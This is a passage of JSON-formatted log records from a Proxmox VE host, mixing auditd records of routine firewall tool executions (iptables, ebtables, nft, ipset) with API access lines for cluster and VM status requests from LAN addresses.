[20/06/2026:15:04:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964175213,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.213:59916): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.450:68811): arch=c000003e syscall=59 success=yes exit=0 a0=5c47e135dd30 a1=5c47e1369b30 a2=5c47e1337680 a3=5 items=2 ppid=66077 pid=66083 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965493869,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781964575952,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.952:61615): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965663880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965663.880:66565): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.725:68817): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964985359,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.359:63500): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeb6919a30 a1=64d9ab352360 a2=64d9ab34b680 a3=5 items=1 ppid=60926 pid=60927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964251585,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964175207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.207:59915): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57536 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185448,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.448:68810): arch=c000003e syscall=59 success=yes exit=0 a0=5c47ae9caac8 a1=7ffe6ab68360 a2=5c47e1337680 a3=5c47ae9ae24e items=2 ppid=66077 pid=66079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965492843,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964575947,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.947:61614): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965663880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965663.880:66564): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.720:68814): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964985278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964985.278:63482): arch=c000003e syscall=59 success=no exit=-2 a0=7fff8972b000 a1=56a50eb9a410 a2=56a50eb78680 a3=5 items=1 ppid=60907 pid=60908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964249512,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964175201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.201:59914): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57535 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.446:68809): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe6ab68320 a1=5c47e13593d0 a2=5c47e1337680 a3=5 items=2 ppid=66077 pid=66078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965492843,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:52 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964575940,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.940:61613): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965663872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965663.872:66562): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185450,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.450:68811): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964981371,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964981.371:63472): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964247669,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964175194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.194:59913): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57534 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.442:68807): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965492843,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 902"} {"@timestamp":1781964575934,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.934:61612): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965663870,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965663.870:66561): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185448,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.448:68810): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964981371,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964981.371:63471): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964246632,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781964175191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.191:59912): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ba1406b5740 items=0 ppid=1156 pid=57533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966185434,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.434:68806): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965491752,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964575929,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.929:61611): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965658862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965658.862:66556): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185446,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.446:68809): argc=1 a0=\"date\""} {"@timestamp":1781964981361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964981.361:63469): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964244656,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964175188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.188:59911): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138ac0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.427:68805): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965491752,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964575923,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.923:61609): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965658862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965658.862:66555): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185442,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.442:68807): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964981361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964981.361:63468): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964243605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964175183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.183:59910): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0eb390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185419,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.419:68804): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965491752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964575918,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.918:61608): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965658.854:66553): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185434,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.434:68806): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964976350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964976.350:63466): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964240593,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 838"} {"@timestamp":1781964175178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.178:59909): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ff760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.412:68803): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66073 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965491752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 882"} {"@timestamp":1781964575913,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.913:61607): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965658854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965658.854:66552): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185427,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.427:68805): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964976350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964976.350:63465): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964240593,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964175173,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.173:59908): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b8d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.409:68802): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5cde2f9ec740 items=0 ppid=1156 pid=66072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965490640,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 945"} {"@timestamp":1781964575908,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.908:61606): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965655363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.363:66548): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd2ad266c0 a1=5770d6db8310 a2=5770d6db1680 a3=5 items=1 ppid=63919 pid=63920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185419,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.419:68804): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964976341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964976.341:63463): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964239578,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964175167,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.167:59907): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.406:68801): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f0ad0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965489529,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:49 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964575902,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.902:61605): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965655238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.238:66530): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcbef97540 a1=59777d594310 a2=59777d58d680 a3=5 items=1 ppid=63900 pid=63901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185412,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.412:68803): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964976341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964976.341:63462): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964236689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964175162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.162:59906): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8afc880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57528 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185400,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.400:68800): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc149d60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965489529,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:49 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964575897,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.897:61604): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965653842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965653.842:66520): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185406,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.406:68801): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964975228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.228:63458): arch=c000003e syscall=59 success=no exit=-2 a0=7fffe21fcc70 a1=64967812d360 a2=649678126680 a3=5 items=1 ppid=60887 pid=60888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964235689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} 